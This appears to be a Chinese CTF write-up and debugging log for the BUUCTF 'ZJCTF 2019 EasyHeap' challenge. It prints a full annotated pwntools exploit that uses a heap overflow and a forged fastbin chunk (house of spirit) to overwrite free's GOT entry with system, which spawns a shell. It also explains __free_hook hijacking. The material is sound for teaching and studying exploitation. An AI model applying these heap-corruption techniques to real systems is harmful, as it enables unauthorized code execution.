[ZJCTF 2019]EasyHeap | house of spirit 调试记录
BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit
第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会。
逆向分析的过程请见超链接,下面是我加了注释后的 exp:
from pwn import *
#p = process('./easyheap')
p = remote('node3.buuoj.cn' ,'27234')
elf = ELF('./easyheap')
context.log_level = 'debug' # 设置 Log 等级
def debug(): # 调试函数 attach to gdb
gdb.attach(p)
pause()
def create(size,content): # 新建 heap,地址保存在 heaparray
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content): # 修改 heap 内容,存在堆溢出点
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index): # 释放 heap
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 释放 heap2 让其进入 fastbin
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell
# 为什么是 0x6020b0 - 3? 这是调试出来的
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk
create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的)
create(0x68,'c') # chunk 3 / idx = 0 (Fake)
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk 3 的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址
free(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell
p.interactive()
以下内容与本题无关!!
__free_hook
void __libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
上面的代码对是 free() 函数的一部分,可以看出程序先把全局变量 __free_hook 赋给了局部变量 hook ,然后对 hook 是否为 NULL 进行判断,如果不为空,则执行 hook ,第一个参数就是 chunk 的内容部分。
一般的情况下 __free_hook 是为 NULL 的,所以是不会执行的,但是如果有人恶意修改 __free_hook 的话,就会造成 __free_hook 劫持。
总结
用了一个下午的时间,感觉自己调试技巧又熟练了一点,学习到了一种 Fakeheap 的利用手法,但是本题难度不太大,还需要更多题目来巩固。
[ZJCTF 2019]EasyHeap | house of spirit 调试记录的更多相关文章
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
- [ZJCTF 2019]EasyHeap
目录 逆向分析 create 函数 edit 函数 delete 函数 利用思路 exp 脚本 get flag 内容来源 逆向分析 -------------------------------- ...
- SPI 核软件调试记录
SPI 核软件调试记录 1.首先说说int SpiFlashWaitForFlashReady(void)这一函数,基本上其它函数在执行的时候,都会事先执行一次此函数. 因为此函数的作用主要是用 ...
- Video Timing Controller v6.1软件调试记录
Video Timing Controller v6.1软件调试记录 GUI配置: . case XVTC_VMODE_PAL: //576i@50 { TimingPtr->Interlace ...
- Video Test Pattern Generator(7.0)软件调试记录
Video Test Pattern Generator(7.0)软件调试记录 . XVidC_VideoMode XVIDC_VM_576_50_I = XVIDC_VM_720x576_50_I ...
- MA82G5D16AS16 主频调试记录
MA82G5D16AS16 主频调试记录 当 SCKS 设置 为 MCKDO / 128 时 MCU 的电流为 0.58mA,100UF 电容可以维持 0.5S,大概可以满足. 但是需要注意外围的线路 ...
- Apusic中间件结合MyEclipse进行远程调试记录
Apusic中间件结合MyEclipse进行远程调试记录. 在金蝶域中正常部署应用. 启动金蝶中间件时使用"startapusic -ds"命令. 在MyEclipse的Run-- ...
- http://stblog.baidu-tech.com/?p=1684) coredump调试记录 - PHP篇 原创: 扶墙 贝壳产品技术 今天
http://stblog.baidu-tech.com/?p=1684) coredump调试记录 - PHP篇 原创: 扶墙 贝壳产品技术 今天
- 基于freescale i.Mx6(ARM)的阿里云oss调试记录
交叉编译阿里OSS调试记录 1.1 开通oss服务 具体参考以下链接: https://help.aliyun.com/document_detail/31884.html?spm=a2c4g.111 ...
随机推荐
- [spojSUBLEX]Lexicographical Substring Search
建立后缀自动机,对于同一个节点,出现次数是相同的(right的大小),同时满足单调性(长度越长出现次数越少),所以只需要考虑最长的串即可. PS:似乎也并不需要求依次后缀的max,不知道为什么-- 1 ...
- HouseRobber II
// // Created by Administrator on 2021/7/27. // #ifndef C__TEST01_HOUSEROBBER2_HPP #define C__TEST01 ...
- 第一章 初始C语言
第一章 初始C语言 目录 第一章 初始C语言 1. C语言起源 2. 选择C语言的理由 2.1 设计特性 2.2 高效性 2.3 可移植性 2.4 强大而灵活 2.5 面向程序员 3. C语言的应用范 ...
- class动态样式绑定
字符串,数组,对象
- C#中的异步
什么是异步? 作为一名Web端的码农,第一次接触异步是Ajax. 异步请求后端获取数据源,js操作html的dom节点,而无需要渲染整个网页的操作. 页面上点击按钮,加载进度动画,同时发起Ajax请求 ...
- PHP 获取两个日期相差多少年,多少月,多少天,多少小时,并填充数组
PHP 获取两个日期相差多少年,多少月,多少天,多少小时,并填充数组 <?php /** * 获取两个日期相差多少年,多少月,多少天,多少小时,并填充数组 * @param [type] $st ...
- Docker 外部访问容器Pp、数据管理volume、网络network 介绍
Docker 外部访问容器Pp.数据管理volume.网络network 介绍 外部访问容器 容器中可以运行一些网络应用,要让外部也可以访问这些应用,可以通过 -P 或 -p 参数来 指定端口映射. ...
- 并发 并行 进程 线程 协程 异步I/O python async
一些草率不精确的观点: 并发: 一起发生,occurence: sth that happens. 并行: 同时处理. parallel lines: 平行线.thread.join()之前是啥?落霞 ...
- day13 grep命令
day13 grep命令 linux三剑客之grep命令 介绍 grep(global search regular expression(RE) and print out the line,全面搜 ...
- flink-----实时项目---day06-------1. 获取窗口迟到的数据 2.双流join(inner join和left join(有点小问题)) 3 订单Join案例(订单数据接入到kafka,订单数据的join实现,订单数据和迟到数据join的实现)
1. 获取窗口迟到的数据 主要流程就是给迟到的数据打上标签,然后使用相应窗口流的实例调用sideOutputLateData(lateDataTag),从而获得窗口迟到的数据,进而进行相关的计算,具体 ...